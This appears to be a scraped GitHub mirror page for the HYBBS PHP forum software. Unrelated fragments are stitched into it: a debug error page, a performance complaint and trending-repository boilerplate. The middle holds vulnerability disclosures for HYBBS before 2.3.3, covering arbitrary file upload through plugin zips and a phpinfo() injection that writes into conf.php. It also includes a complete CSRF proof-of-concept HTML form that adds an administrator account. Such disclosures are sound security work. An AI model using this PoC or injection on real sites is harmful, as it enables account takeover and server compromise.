基于HYPHP MVC框架开发的PHP论坛程序，拥有插件、模板扩展。
Home Page: http://bbs.hyphp.cn
License: GNU General Public License v2.0
基于HYPHP MVC框架开发的PHP论坛程序，拥有插件、模板扩展。
如果需要下载正式版 请到https://github.com/hyyyp/HYBBS2/releases 下载
https://github.com/erusev/parsedown
推荐上面这个库， 单文件，速度也很快。
There is an arbitrary file upload vulnerability in the upload plugin function of the HYBBS management background, which can lead to server permissions.
All versions prior to HYBBS 2.3.3
Clone the latest code factory library of HYBBS to the local, and then use phpstudy to build HYBBS.
Make a malicious zip archive as shown below
Upload malicious zip archives in the management background upload plugin function
After uploading, it prompts that the upload was successful
It can be seen from the log of the folder monitoring software that HYBBS renamed the malicious compressed package and extracted it to the Plugin directory
Locate the code of the plugin upload function
HYBBS directly decompresses the compressed package and does not check the content of the compressed package, resulting in an arbitrary file upload vulnerability.
When the administrator logged in, open the page with poc , it can add the administrator account.
Here, my test site's url is http://localhost/HYBBS2.2 .
poc:
html code below:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/HYBBS2.2/?admin/user.html" method="POST">
<input type="hidden" name="gn" value="2" />
<input type="hidden" name="user" value="admin2" />
<input type="hidden" name="group" value="1" />
<input type="hidden" name="email" value="xx@126.com" />
<input type="hidden" name="pass" value="admin123" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
HYPHP详细调试页
错误信息: session_start(): open(/var/lib/php/session/sess_5977035eba0c39b7237be171ccc99784, O_RDWR) failed: No such file or directory (2)
运行信息
URL: /?admin.html
控制器Action: Admin
操作方法Method: Index
http://zhipu.us/Friend/pm
对上面的这个URL的请求太多, 而且每次都要穿透到数据库.
是不是可以考虑优化下?
例如用缓存,或者用websocket?
支持了，看起来很不错
There is an arbitrary file writing vulnerability in the HYBBS management background making plugin function, which leads to the server permission being obtained.
All versions prior to HYBBS 2.3.3
Clone the latest code factory library of HYBBS to the local, and then use phpstudy to build HYBBS.
Fill in test', phpinfo(),' in the plugin description, and click the OK button.
Then it will prompt that the plugin was created successfully
From the folder monitoring software log, you can see that the program created the malicious file conf.php
Locate the code that makes the plug-in function
It can be seen that the program directly writes the plugin-related configuration information to conf.php without any security filtering, resulting in an arbitrary file writing vulnerability.
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
Django
The Web framework for perfectionists with deadlines.
Laravel
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
Microsoft
Open source projects and samples from Microsoft.
Google
Google ❤️ Open Source for everyone.
Alibaba
Alibaba Open Source for everyone
D3
Data-Driven Documents codes.
Tencent
China tencent open source team.